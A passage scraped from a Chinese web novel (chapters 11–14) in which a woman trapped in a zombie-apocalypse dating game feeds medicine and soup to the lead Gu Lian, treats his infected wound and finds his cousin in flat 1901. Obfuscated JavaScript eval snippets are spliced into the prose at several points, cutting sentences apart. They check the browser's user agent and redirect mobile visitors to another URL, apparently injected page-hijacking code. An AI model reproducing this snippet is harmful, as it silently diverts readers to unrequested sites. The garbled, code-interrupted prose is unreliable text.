太好了，黎春日心下一喜，连忙询问要怎么救。 一向秒回的客服装傻充愣，久久没有动静。 黎春日咬牙切齿，从现在开始，说话说一半的人将会是她最讨厌的类型，没有之一。 唰唰，拳击空气倾泄愤恨，理智回归大脑。 顾敛还有救，但白天没有丧尸，所以寻常的退烧药一定没用。 末日商城！ 精神大振，黎春日连忙寻找商城入口，却捣鼓了好一会儿才进去。 由于好感度负值，她上次使用还是在上次。 毕竟什么东西都换不了，研究也是白搭。有这时间，她还不如多睡会儿。 但今日之她并非昨日之她，56点巨款，足以让她畅游商城。 放眼望去，一页之中，五花八门，什么种类都有。 眼珠酸痛，黎春日筛选分类。她找到药品一栏，逐个点开查看说明。 你还在为不幸被抓而烦恼吗？洁净碘伏，能有效去除丧尸指甲缝中的污黑病菌，还你一片干净肌肤。 黎春日二话不说，点击加入购物车。 丧尸有害健康，抓挠使人发烧。快退退烧药，只需一粒，药到病除。 一粒感觉不保险，怎么说也要吃上一天的量才行。 OK,买这俩就能解决顾敛目前的症状，其余的到时候再说。 看着结账时划扣的6点好感度，黎春日不屑一顾。哼，就这。 拎着一兜针对丧尸的特效药，她脚步轻快，不多时就回到顾敛家。 “我买好了，快来上药吧。” 话音刚落，游戏任务紧随而至。 “勾引任务一：关心是在意，是爱情萌芽的开始。请玩家为顾敛上药，并完成以下两个选项中任意一条，完成任务奖励5点好感度。” “注：选项为必做任务，若完不成，则无法获得好感度奖励。” 选项一：上药过程中轻轻吹一吹伤口，温柔询问“疼吗？” 选项二：将退烧药放在手心喂顾敛吃下。 C选项呢，她要选C! 没有C就选择去死，黎春日整个人都裂开了。 说好的正经任务呢，说好的展现个人魅力呢，选项压根儿和这俩搭不上边。 发觉身后的人没有跟上来，顾敛后退几步，看向已然灵魂出窍的人。 “站门口当门神？” “啊，哦。来了。” 黎春日同手同脚地进门，坐姿端正，一动不动，实则内心激烈挣扎。 她喜欢玩乙女游戏，完全是因为喜欢收集二次元帅哥。 可谁能想到，她会被困在游戏中出不去，还要和人谈恋爱。 她也明白谈恋爱就是乙女游戏的核心，但头一次真人上阵，和之前隔着屏幕的感觉完全不同。 虽然这个男人长在她审美点上，像个纸片人一样帅气。 纸片人？对啊，顾敛是个纸片人。 黎春日豁然开朗，就是个游戏，她这么真情实感干嘛，完成任务更重要。 拍拍脸颊，振作起来。斟酌过后，选择完成第二个选项。 至于第一个，她害怕吹着吹着笑出声。还是选第二个吧，保险。 悍然起身，黎春日洗洗手，一脸坚定地朝顾敛走去。 不就是喂个药，soeasy。 看着发神经夺走他手中退烧药的人，顾敛一头雾水。 “干什么。” 小圆片放置正中心，黎春日骤然出手，啪的一声。 “咳咳，咳咳咳。” 退烧药卡在喉咙里，顾敛咳得撕心裂肺，差点被这药送走。 头顶飘出的-5，就是对黎春日所做任务的评价。 慌里慌张地递过水，她讪笑两声，一不小心用力过猛了。 “咳咳，闲得慌就去上班。” 别在这祸害他，顾敛心气不顺。 到底是来照顾人，还是来送人一程的。 完成奖励和扣掉的五点两相抵消，黎春日啥也没捞着。 见此，游戏再次发布任务。 “勾引任务二：顾敛如今正值生病，是趁虚而入的最好时机。” “请玩家为顾敛做一道滋补鸡汤，并完成以下两个选项中任意一条。” 选项一：面对面，像好朋友一样喂顾敛喝鸡汤，完成后奖励1点好感度。 选项二：心贴心，喂顾敛喝鸡汤时，两人之间的距离全程小于35厘米，完成后奖励15点好感度。 想到刚刚白忙活一场，黎春日大致比划距离。比她小臂长，可以接受。 牙一咬，心一横，直接选了奖励最多的选项二。 要选就选多的，敢拼才能赢。 “我给你炖鸡汤吧。” 视线里，黎春日径直走向厨房。 顾敛斜了一眼，她怎么想一出是一出：“不喝。” “不行”，黎春日冷酷驳回。 开玩笑，这可是她的任务，不喝怎么行。 巡视一圈只有工具，连菜毛都没有的厨房，黎春日来到顾敛面前。 “我去买菜，可以报销吧。” “不喝。” “OK，可以报销。” 房间内只剩他一个人，顾敛顺顺心口，深深怀疑她到底是不是来照顾人的。 来到超市，黎春日对照备忘录一条条采购，很快就结束了此次购物之旅。 起锅烧水，焯煮鸡肉，黎春日严格按照教程进行。 大火烧开十分钟后，转小火慢炖。 点开计时器，接下来只需等待即可。 转过身，就见顾敛靠在厨房门口。眼眸低垂，看不出情绪。 “你什么时候来的？” 黎春日看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958978|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一眼，出去倒了杯水。 忙活太久，有点渴了。 顾敛坐在沙发上，漫不经心地说道：“来看看在饿死之前能不能吃上饭。” 这人能不能好好说话，黎春日咽下一口水，没好气地说道：“快了，等着吧。” 视线中，纤细的身影消失在厨房门口。顾敛随手拿起的书，一页未动。 铃铃铃。 按下闹钟，黎春日转小火慢炖。 感觉差不多了，她舀一勺尝尝味道，满意点头。 好喝诶，她可真是个人才，第一次炖鸡汤就能成功上岸。 摆好碗筷，就到了此次吃饭的重头戏。 四方正的六人餐桌上，顾敛坐在两人座的一边。 凡事都讲究循序渐进，黎春日首先坐在顾敛对面。 见顾敛要盛汤，她热情起身：“我给你盛。” 放下碗筷，屁股顺势左移，在紧挨顾敛右侧的位置落座。 动作幅度太大，两人手臂轻触即离。空气中，衣物独特的香味丝丝缕缕飘来，黎春日不自在地揉揉鼻子。 见距离还是有点远，但搬都搬了，也不差这一点。 她一咬唇，带着椅子往左挪挪，对看过来的顾敛笑得腼腆又讨好。 斜了一眼小动作不断的人，顾敛并未多言。 不过，又是做饭，又是盛汤的。无事献殷勤，定有所求。 他放下筷子，摆起架子：“你有事求我？” “没有”，黎春日一脸你这人净多想的表情。 “身为你的生活助理，照顾你是我分内之事。” “说到照顾”，她清清嗓子，语速飞快：“你手臂受伤了，我喂你吃饭吧。” 不给顾敛张嘴拒绝的机会，她直接端碗，舀起一勺鸡汤送了过去。 唇边汤水温热，顾敛定定看了黎春日几秒，张嘴咽下。 不求事，那就是图人。 嘴上说着没有这个意思，可她的一举一动，都将这个意思发挥到了极致。 眼底笑意一闪而过，顾敛端正神色。一副既然你这么想喂，那我就勉为其难接受的表情。 手上动作一勺接着一勺，黎春日的目光紧紧固定在顾敛下巴，丝毫不敢乱瞟。 喂完一勺，她收手的动作忽然顿住。 目光中，顾敛轻咬瓷勺。力道不大，可她手臂却无法移动半分。 视线往上，直直撞入那双暗不透光的黑眸之中。 黎春日下意识屏住呼吸，心跳微微加速。 顾敛坐姿散漫，斜斜靠在椅子上。他的视线紧盯面前之人，仿佛织就了一张密不透风的大网，将她紧紧裹挟缠绕其中。 明明是一个人，却能同时带给黎春日两种截然不同的感觉。 手中恢复自由的瓷勺，还有那侵略目光下，她无处可逃的心跳声。 松开嘴，顾敛说得漫不经心：“喂太快了。” “嗯？嗯，嗯，好。” 微颤的手臂，无处安放的眼神，砰砰乱跳的心脏，她身上没有一个部位是在正常平稳地运行。 此时，黎春日恨不得长出一个龟壳，好让她能缩进去，逃离这无所适从的一切。 可现实不允许她躲避，完成任务的提示音迟迟没有响起。 眼见碗底还剩最后一点，黎春日硬着头皮，伸手喂了过去。 视线中，手臂颤颤巍巍。顾敛的表情意味深长：“抖什么。” 12. 第 12 章 为什么抖他心里没点数吗？ 黎春日真想揪住顾敛的衣领好好说道说道，无奈别有所求。 她轻咳两声：“举的时间太长，手酸。” 顾敛没有拆穿这句两人心知肚明的借口，顺从喝下最后一口鸡汤。 喂饭结束，任务完成。 看着新鲜到账的15点好感度，黎春日莫名其妙地松了口气。 随即眉毛一皱，奇怪。她不应该兴奋吗，为什么会有种终于结束的轻松感。 不等她想明白，顾敛微哑的声音在耳边响起。 “张嘴。” 黎春日下意识听话照做，回过神，嘴里塞得满满当当。 “噗，咳咳”，鸡汤喷洒而出，化作细雾消散于空气之中。 她抹一把嘴，神色震惊：“你在，咳咳，干什么？” 凭借极快的反应速度侧身躲过这一击，顾敛弹弹衣摆，动作优雅。 脸上一副他都懂的表情：“我们不是在玩互相投喂的戏码吗。” 哑巴吃黄连，有苦说不出。 黎春日暗自运气，脸上笑得亲切友好：“我是看你胳膊受伤了，才想着喂你吃饭。而恰好，照顾你是我的本职工作。” 最后四个字字正腔圆，重音连连。 眉尾轻扬，顾敛煞有其事地用地子喝一口汤。侧头看向黎春日，神色无比认真。 “嗯，你说得没错。我这胳膊确实伤得挺严重，就连喝个汤都费劲。” 砰砰砰，黎春日平静的心跳再次加速。 不过，情况与刚刚不同，这次纯粹是被气的。 顾敛可真该死啊，人艰不拆的道理，他究竟懂不懂。 本不想和他一般见识，可退一步，越想越气。 眼中怒火犹如实质，噼里啪啦烧得旺盛。她平静开口：“喜欢喝汤是吧。” 明白玩笑逗过头了，顾敛缓缓垂眸，不敢吭声。 “嘶”，瓷勺掉回碗里，发出清脆的声音。 手臂无力下滑，他捂着胳膊，面色不适。 黎春日神色狐疑，严重怀疑他是装出来的。 直到冷汗划过额头，手背青筋暴起，那条垂落的胳膊止不住颤抖。 她眼神一紧，连忙上前查看：“怎么了，是不是刚刚用力的时候扯到了。” 生气归生气，但还是受伤的胳膊更重要一点。 顾敛摇摇头，左拳紧握，眉心久久不松。 见状，黎春日快步拿来碘伏和退烧药。 先喂顾敛吃下一片，接着，她捋开袖子，被伤口骇人的模样震在原地。 曾经干净红肿的皮肤中，出现一团指甲盖大小的黑色物质，牢牢占据伤口位置。 那团黑块分裂出无数条细丝，一下一下，不断撞击周围完好无损的皮肤。 它不知疲倦，想用蛮力撞破阻碍，从而进入血管。 吸收，融合，最终将顾敛同化成和它们一样的物种。 黎春日心脏一颤，拧瓶盖的手都在抖：“你是不是没有用碘伏消毒。” 黑色细丝撞击皮肉，持续不断地疼痛拉扯着理智，顾敛勉强摇摇头。 当时吃了退烧药后，身体舒服不少。而且之前也消过毒了，再加上他的注意力一直放在厨房，就忘了碘伏这回事。 没时间教训顾敛粗心，将棉签沾满绿色液体，黎春日对准黑色物质下手。 棉签刚刚接近，那些细丝仿佛有意识一般，四处逃窜。 当碘伏接触到黑块，那些分裂的细丝倏然回缩，紧紧抱做一团。 墨绿色液体沾染皮肤后，快速扩散，将那团黑块覆盖其中。 浓重的颜色慢慢消退，由黑到灰，最终停留在浅灰色上。 见状，黎春日连忙增加碘伏比重。 在绿色液体的包裹下，指甲盖大小的浅灰色开始缩小。 顾敛手臂猛然抽动，条条青筋交错盘旋。 “忍一忍。” 神色担忧，黎春日紧紧盯着伤口处。 浅灰色物质缩小的幅度难以用肉眼分辨，她只能通过顾敛每次无法控制的抽动，判断出那团物质在被逐渐侵蚀。 黎春日时刻注意着碘伏的消耗量，当所剩不多，她就连忙补上。 终于，那团异物消失殆尽。 顾敛浑身是汗，已然脱力，趴在桌子上久久缓不过神。 架起胳膊，黎春日艰难将他运回床上：“你好好休息，晚上还有一场硬战在等着呢。” 掖好被角，站起身，一只微凉的手阻止了她离开的动作。 见她回头，顾敛微微抬眸：“别生气了，嗯？” 声音虚弱，仿佛风轻轻一吹，就会飘散在空中。 心底无奈叹气，再次给他盖好被子，黎春日轻轻应了一声。 她蜷缩在沙发上，手捧一杯热茶，欣赏窗外阳光正好的天气。 缭绕白雾后，是她茫然无措的双眼。 许多事情只有深入其中，才能体会其意。 虽然知道顾敛是纸片人，但每次接触，她都会忘记。 毕竟站在她面前的，是一个有喜怒哀乐，有血有肉的人。 还有任务，没做之前她还能保持理智。可真正进行时，她的情绪就会随着另外一个人波动不定。 二十好几的人了，没吃过猪肉也见过猪跑。她清晰地知道这意味着什么，但两人没有未来。 对方是只要按任务进行，就能攻略的乙女恋爱人物。她只是其中一个玩家，仅此而已。 抱枕往脸上一盖，黎春日无声发泄。 她本来也能像以前玩游戏时那么潇洒，可现在走了心，本该享受的攻略任务却让她无比纠结。 唉，好好的，玩什么全息游戏。现在好了，把自己玩进去了吧。 咔嚓一声，房间门由内打开。 顾敛来到餐桌旁，倒水的动作轻而慢，像是怕吵醒沙发上熟睡的人。 端着茶杯往前两步，近距离欣赏黎春日造型奇特的睡姿。 她整个人只占沙发长度的一半，膝盖蜷缩，撅着屁股趴在抱枕上。 就在这一刻，顾敛深深意识到皮质抱枕有好也有坏。 好处是黎春日的口水渗不下去，坏处嘛，也是黎春日的口水渗不下去，只能顺着弧度滴落。 顾敛啧啧摇头，面上嫌弃，可他关门的动作小心而又轻缓。 铛铛。 今日的钟声似乎比往常稍早一些，黎春日揉揉眼睛，充足睡眠后，不仅世界明亮，就连大脑运转都流畅不少。 她伸个懒腰，一回头，就见顾敛正悠哉悠哉地坐在一旁看书。 嘴角抽搐几下，黎春日无语远离。 省省吧，丧尸都要来了，还在这装模作样看书呢。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958979|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赖好收拾了一下，她却在出门时，止住脚步。 身后的顾敛跟着停下，无声询问。 黎春日摸摸肚子，又指指厨房。晚饭她给睡过去了，现在胃中羞涩，急需补充能量。 深知犹豫就会败北的道理，她三步并作两步冲进厨房。 没两秒，她嘴里叼着，手里拿着，满载而归。 顾敛捏捏眉心，不忍直视，开门扬长而去。 两人来到熟悉的楼梯间，你看看我，我看看你，黎春日笑得不好意思极了。 由于顾敛生病，购置房产一事被暂时搁浅，因此高楼层这个问题没有得以解决。 考虑到顾敛还是个病号，她十分善解人意：“要不这样吧，咱俩平分。我走一半，你扛着我走一半，怎么样。” 黎春日眨眨那双水润明亮的大眼睛，忽视她嘴里的鸡肉，整体氛围还是不错的。 眉心再度隐隐作痛，顾敛无话可说，只默默地在地顶飘出一个-5。 黎春日大手一挥，毫不在意。她现在可是大户，区区5点算什么。 顾敛沉默地叹一口气，沉默地弯腰扛起，沉默地迈步下楼。 此次“列车”平稳运行，黎春日体验感满分。她咽下最后一口鸡肉，拍拍手，点开游戏刚刚发来的信息。 “生存任务六：恭喜玩家获得一名队友，但丧尸数量众多，仅凭两人的力量难以抗衡。” “请玩家继续寻找一名幸存的人类，完成任务奖励3点好感度。” ……还要找人，就不能让幸存的人来找她吗？ 而且，顾敛是攻略人物，不变丧尸她还能理解。这个突然冒出来的幸存人类，又是什么情况。 双眼微眯，她大胆预测，难道是其他攻略人物？ 不不不，黎春日摇摇头，否定这个不合理的猜测。 纵观她多年乙女游戏的经验，各个人物的攻略主线都是独立存在的，不可能掺和在一起。 那会是谁呢？ 思考得太过入神，就连双脚落地时，黎春日都还没有反应过来。 “到了，剩下的你自己走吧。” 顾敛活动活动肩膀，领先一步，走在黎春日身前。 视线里，他的背影挺拔高大。大脑灵光一闪，她想她应该知道去哪找那个幸存人类了。 翻出手机相册，找到登记簿的图片，3栋1901。 一掌拍上头疼的脑袋，黎春日万分无语。为什么，到底为什么，一个个都要住这么高的楼层。 图它空气稀薄，还是图它停电后要累死累活地走上去。 楼层高顶多耗费点体力，这还是小问题。重要的是，她需要编出一个巨合理的理由，才能诱拐顾敛和她一起过去。 看一眼顾敛，大脑飞速运转，合理，一定要合理。 她有个朋友在3栋1901，一起过去吧。 不行，这得是多么不重要的朋友，直到今天她才想起来。 下一级台阶，新的理由横空出世。听说3栋1901里有幸存人类，一起去看看吧。 听谁说的？游戏说的。游戏是谁？游戏是创造你的人。 OK，死路一条。 身后的人心不在焉，顾敛停下脚步：“有事就说。” 黎春日眨巴眨巴眼，笑得讨好又谄媚：“嘿，有兴趣去19楼转一圈吗？” 13. 第 13 章 瞅她一眼，顾敛利索转身，他就多余问这一嘴。 “哎，别走啊”，黎春日三两步追上去，开启游说大业。 “你看啊，世界这么大，除了咱俩，肯定还会有其他幸存人类。” “而且，人多力量大嘛。如果我们所有人团结在一起，那消灭丧尸，还不是分分钟的事。” 一路叽叽喳喳，顾敛伸出食指挡在唇边，嘘得毫无灵魂。 他按住挡路人的脑袋，将其推向一边：“别把丧尸引来了。” 挥开脸上的大手，黎春日顺口反驳：“丧尸不会爬楼。” 接着，无缝衔接：“我之前在保安室找到了最近入住的名单，上面一共三个人。你，我，还有一个就是住在19楼的人。” “已知，咱俩都是正常人，那么19楼很大概率也是……” 砰。 话音戛然而止，黎春日吓得一个激灵，和顾敛同时抬头。 楼上，一只丧尸摇摇晃晃地冒出脑袋。那双大黑眼珠捕捉到下层猎物，手一伸，呲牙咧嘴地往前冲。 两人跑得飞快，顾敛抽空看了旁边人一眼：“丧尸不会爬楼？” 黎春日膝盖一痛，谁能想到打脸来得如此之快。 但丧尸之前确实只能在走廊里活动，楼梯间可是安全地带，难道丧尸还会进化。 猜测一闪而过，目前最重要的，还是先摆脱身后的危机。 幸运的是，两人距离一楼只有三四层。不幸的是，刚一出门，丧尸如雨后春笋般接连冒出。 喘口气的时间都没有，黎春日他们又陷入新一轮的逃难。 百忙之中，她还不忘施展小心思。反正往哪跑都是跑，还不如去她想去的地方。 借着黑夜遮挡，她拉住顾敛，暗搓搓地偏离方向。 身后丧尸紧追不舍，张牙舞爪的模样和黑色物质极其相似，黎春日瞬间就想到了末日商城。 经过碘伏消毒一事后，她深刻意识到商城中的东西对丧尸多么有用。 既然她现在有钱了，该买该囤的都要安排上，以备后患。 然而，由于跑步时动作幅度太大，面前的屏幕也跟着上下晃荡。看了半天，愣是没有一个字进入大脑。 本想两手抓，现在可好，她不仅跑步速度下降，还被迫进入了微晕状态。 黎春日锤锤心口，眼尖地发现他们已经跑到三号楼附近。 此时不进更待何时，她拉着顾敛猝然改变行进方向。 跑得好好的，突然拐什么弯。顾敛脚下踉跄几步：“干什么。” 此题不好作答，黎春日干脆回以沉默。 她反身关门，将那群丧尸阻挡在外，躲进一层楼梯后的狭小空间里。 “跑这干什么”，顾敛来回打量黎春日，眼神狐疑：“难道你还在惦记那个19楼？” 黎春日稍稍往里侧身，停顿几秒，语气坚定正义：“末世生存本就艰难，我们不能放弃任何一个同伴。即使只有百分之五十的概率，也必定要去探个究竟。” 这番话正义凌然，视线中她的目光坚定明亮，顾敛心生震撼。 一个普普通通的打工人都有如此高尚的觉悟。而他，手握诺大的顾氏集团。在面对同伴问题时，下意识不想冒险，他可真是自愧不如。 好感度+10飘散在空气中，顾敛微微垂眸，遮住眼中敬佩，惭愧等糅合在一起的复杂情绪。 但与其自我怀疑，不如从现在开始改变。 “你说得对”，他很快整理好低落的情绪：“我们这就出发去19楼。” “先等等”，黎春日拦下顾敛：“喷点东西再走。” 喷什么？ 顾敛怔楞之间，她拿出一个白色圆柱体，抱着消灭虫子的架势，朝两人身上一顿猛喷。 “呸，呸”，东西不慎进嘴，他挥开面前的白色雨雾：“这什么？” “好东西”，黎春日眼中闪烁着狡黠的光芒，这可是能消除人类味道的气味阻隔剂。 刚才和顾敛交流时，她趁机翻看了末日商城中的东西。虽然跑步无法一心二用，但说话一心二用还不是手到擒来。 点进其他分类，这个气味阻隔剂的简介一下就抓住她的眼球。 呲呲，呲呲，气味从此消失。无味牌气味阻隔剂，保护罩圈的平替。只需轻轻一按，就能体验和丧尸擦晃而过的快乐。 看完说明，黎春日没有犹豫，立刻入手。 作为体验过保护罩的人，她亲测有效，毕竟没有人能拒绝被丧尸无视的那种安全感。 雨雾洒落满身，黎春日自信满满，迈出六亲不认的步伐：“走吧。” 这人又发什么神经，顾敛嘴角抽动，一把拽住大摇大摆往外走的人。 低调些，这儿又不安全。 知道他在担心什么，黎春日拍拍旁边的人，以示安慰：“放心，喷了这个，丧尸就闻不到我们的气味了。” 闻言，担忧爬上顾敛眼底。天还没亮，人倒是先疯了。 顿觉肩上一沉，他将黎春日拉至身后，谨慎前行。 顺着力道来到身后，黎春日也不挣扎，看着他的背影无声摇头。 小样儿，还不相信，有他吃惊的时候。 踏出黑暗，充足光线下，两人状态的反差一览无余。 前方男人一步一停，警惕观察周围的风吹草动。后方，黎春日姿态放松，左看看右看看，一副春游的悠闲模样。 来到三楼，一只丧尸突然冒出。顾敛缓缓后退，试图在安静中撤离。 咚的一声，黎春日抬头望天。双手背在身后拍拍墙灰，深藏功与名。 丧尸猛然转头，看向发出动静的地方。 和那双黑眼珠子对上视线，顾敛呼吸一滞，浑身肌肉瞬间紧绷。 然而接下来的发展出乎意料，丧尸刚下台阶，就停了脚步。它歪歪头，尽显迷茫，看了一会才转身离去。 反应几秒，顾敛缓缓转身，眉头轻挑：“真货？” 黎春日白眼都要翻上天了，当然是真货。而且从丧尸的反应来看，这10点好感度花的，物超所值。 安全有了保证，顾敛心下放松不少：“这到底是什么东西？” “不懂了吧”，黎春日慢悠悠地踏上台阶。 随手指了一个方向，她略显得意：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958980|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气味阻隔剂，卖碘伏那家药店出品的，当然有用。” “气味阻隔剂”，字面意思很好理解，顾敛低声重复一遍，了然地点点头。 接着，他道出久存于心的疑惑：“之前我就想问，这是哪家药店，卖的东西居然对丧尸有用。” 如果不是亲身经历，他很难相信一瓶普普通通的碘伏，居然有如此惊人的功效。 内心咯噔一下，黎春日眼神飘忽乱撇。糟糕，炫耀过头了。 游戏的事情不能说，她只好再次编造理由，偏偏顾敛还在旁边催促：“嗯？” 本就紧张，话出口的瞬间，黎春日大脑忽然短路：“不是什么正经药店。” 说完，她就后悔了，世界上怎么会有不正经的药店。 耳边声音和内心想法隐隐重合，面对顾敛疑问，她欲哭无泪，强装镇定：“世界这么大，当然什么都有卖的，是你孤陋寡闻而已。” 顾敛若有所思，确实，最近发生的事早已超出认知。而每一件都在证实，世界之大，无奇不有。 这个解释很合理，他虚心求教：“地址在哪，改天我也去买点。” 顾敛地回答出人意料，黎春日内心隐隐处于崩溃边缘，恨不得打死当时得意的自己。 可常言道，自己撒的谎，哭着也要圆下去：“老板社恐，不喜欢见人。” “那你……” 这题简单，她抢先回答。只是声音发虚，底气不足：“哈哈哈，我们是好朋友。” 行吧，顾敛有些遗憾。这么有用的东西，买不到实在是可惜。随即又想到什么：“他家有网店吗？” 膝盖一软，黎春日差点给他跪下。哥，大哥。别再问了，她真要招架不住了。 “没有”，唯恐顾敛再说点什么令人害怕的话，她连忙转移话题。 “对了，你觉得1901里住的会是谁呢。” 顾敛刚张开嘴，话题突然跳跃，他瞥了一眼明知故问的黎春日：“上去就知道了。还有，这个药店……” “要不这样吧”，她突然出声，打断顾敛接下来的话：“我们轮流回答，看谁先猜出来。” 上去就知道的事，猜什么猜。顾敛不为所动，只想知道药店的事。 “那个药……” 嗬嗬，旁边传来丧尸独特的声音。他眼神一凛，猝然收声。 旁边的黎春日则截然不同，她神情激动，万分感谢丧尸大哥送来的禁言期。 见顾敛屏气凝神，她顺势而为，气声说道：“我们还是不要说话了，容易引来丧尸。” 本来爬了十层，正是有些力竭的时候。但经过丧尸这一愉悦的刺激，她精神振奋，库库往上爬。 转眼，两人来到1901门口。 为了隐藏她知道里面百分百是人类的事情，黎春日配合顾敛谨慎行动。 先补充一波空气阻隔剂，接着紧贴一侧墙壁，避免和丧尸正面对上。最后，敲响1901的大门。 咔哒一声，门前空空如也。屋内的人伸出脑袋左右张望，发现躲在墙侧的两人。 三人对视一眼，齐齐愣在原地。 “怎么是你。” 14. 第 14 章 黎春日和顾敛互看一眼，异口同声：“你们认识？” 事情发展出乎预料，顾敛微微眯眼，质问黎春日：“你认识他？” “不认识，眼熟而已”，脸上的微笑无懈可击，黎春日淡定对答。 顾敛并不相信，陌生人第一次见可不会说“怎么是你”这种话。 他转个方向，质问1901：“你认识她？” “完全不认识”，高个健朗的男生头都摇成了拨浪鼓，力争清白。 关系尚未明确，但顾敛的质问环节到此结束。接下来，是黎春日的探查时刻。 她双手环胸，下巴指指一旁，眼睛直直盯着顾敛：“你认识？” 他抬手一指，答得随意：“表弟。” 狐疑的目光转向1901，男生摸摸后脑勺，独自开朗：“他是我表哥。” 关系明确，两人进入唠家常模式。顾敛端出长辈姿态：“你什么时候搬过来的。” “刚来没几天，这边离学校近，来回跑着更方便”，楚朗坐得端正，双手规规矩矩地扣在膝头。 点点头，顾敛扩展话题：“小姨最近怎么样。” “一切都好……” 两人疑似交流甚欢，只有黎春日在一旁怀疑人生。 视线中，男生和三号攻略人物长得一模一样。特别是那双湿漉漉的狗狗眼，乖巧真诚，过目不忘。 黎春日心情郁闷，扶额怅然叹气。 苍天大老爷，她就没正确预测过一次这个游戏的发展走向。 以为攻略人物的主线互不交叉，结果呢，1号顾敛认识3号楚朗。不仅如此，两人还是有血缘的亲戚关系。 照这样发展，2号男嘉宾是不是也会出现？ 黎春日都懒得吐槽，游戏架构一个世界观，再将三个人揉进一条主线，甚至彼此之间还有更深层次的联系。 啧啧啧，开发一个新游戏真是省钱又省力。 砰，沉闷的撞击声拽回飘远的思绪，黎春日暗道一声不好。 刚刚只顾着震惊，忘给楚朗喷气味阻隔剂了。这不，丧尸又闻着味追来了。 房间内，男生看向门口，神色惊奇：“今天来的人还真不少。” “别去”，顾敛抓住他，朝一旁的黎春日使使眼色。 上道地拿出气味阻隔剂，黎春日围着他喷了一圈，眼神怜爱。 傻孩子，敲门的哪是人啊，分明是索命的丧尸。 她后退两步，戳戳顾敛：“你是他哥，你和他说。” 说什么？楚朗看向顾敛，一脸莫名。 “你听好，接下来我说的话都是真的”，顾敛清清嗓子，端正神色。 “一到晚上，所有人都会变成丧尸。” 楚朗眨眨眼，看上去并不相信。 等了几秒，后续解释迟迟未曾出现。黎春日看向顾敛，没了？ 就这？摆出一副严肃正经的架势，结果就憋出来这一句？ 你行你来。顾敛稍稍退开，抬手示意，让出舞台中心。 黎春日昂首上前，沉吟几秒：“你哥说的对。” 不用回头，都能感受到身后如有实质的嘲讽目光。看到楚朗清澈的双眼，她试图挽尊：“有什么疑惑尽管问。” 毕竟她可是知道全部内幕的人，就没有她搞不定的问题。 楚朗乖巧举手：“姐，为什么所有人会变成丧尸。” 他有些礼貌，但不多，黎春日抽抽嘴角：“别喊姐。” 她正值如花似玉，青春活力的二十五岁，怎么也不到喊姐的年纪。 回归问题本身，他问得非常有水平。不愧是高智商学霸的设定，一针见血。 是因为游戏设定，黎春日摩挲着下巴，表情高深莫测：“是因为世界中病毒了。” “哦”，楚朗再次举手：“那为什么只在晚上变丧尸。” 是因为游戏设定，黎春日姿势维持不变：“是因为病毒刚入侵了一半。” 这都什么跟什么，后边的顾敛听不下去了。抬手驱离，阻止她继续祸害无知群众。 “别信，是谣言，真相还在调查之中。” 回忆一圈，确认明天没课，楚朗配合着两人点点头：“那接下来我们要怎么办。” 见他不信，黎春日也没再说什么。耳听为虚，眼见为实。等他看见，就什么都明白了。 一直待在这也不是办法，顾敛沉吟片刻：“先离开，去外面看能不能找到线索。” 叮叮咣咣收拾好，黎春日先一步出门。她探探脑袋，发现走廊上的丧尸早已散去。 转过身，注意到哥弟俩出门时都有低头，区别只在于幅度大小。 电光火石间，乱糟糟的线团找到出口。捣捣楚朗，她突然发问：“你多高。” “191，怎么了”，楚朗觉得莫名其妙，但还是认认真真回答。 黎春日抬头看向1901的门牌号，似乎明白了什么：“没事。” 合着攻略人物住的房间是和身高挂钩的，一个1806，一个1901。 她轻笑一声，看向顾敛：“那你就是186呗。” “关于我，你知道得挺清楚啊”，撂下一句意味不明的话，顾敛施施然离开。 看看这个，再看看那个，楚朗恍然大悟：“噢～。” “噢什么噢”，黎春日给了楚朗一拳：“我是你哥的生活助理，肯定要背他的资料啊。” 摸摸胳膊，楚朗眼神委屈，他也没说什么啊。 黎春日大步前进，路过顾敛时，恶狠狠地瞪他一眼。 眼不见心不烦，走在最前方的黎春日这才点开游戏发来的信息。 “生存任务七：进化，是一场优胜劣汰的比赛。强者为王，劣者臣服，恒古不变。” “请玩家积极探索，找出丧尸身上发生的变化，完成任务奖励三点好感度。” “注：玩家只有三次机会提交，超出次数，则奖励作废。” “生存任务八：恭喜玩家队伍再度扩充，身为一个合格优秀的队长，有责任保护好自己的队员。” “请玩家寸步不离地保护顾敛二人至天亮，完成任务奖励20点守护值。” 此次不同于以往，游戏接连发布了两个任务，每一个的内容都有其特殊之处。 第一个直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 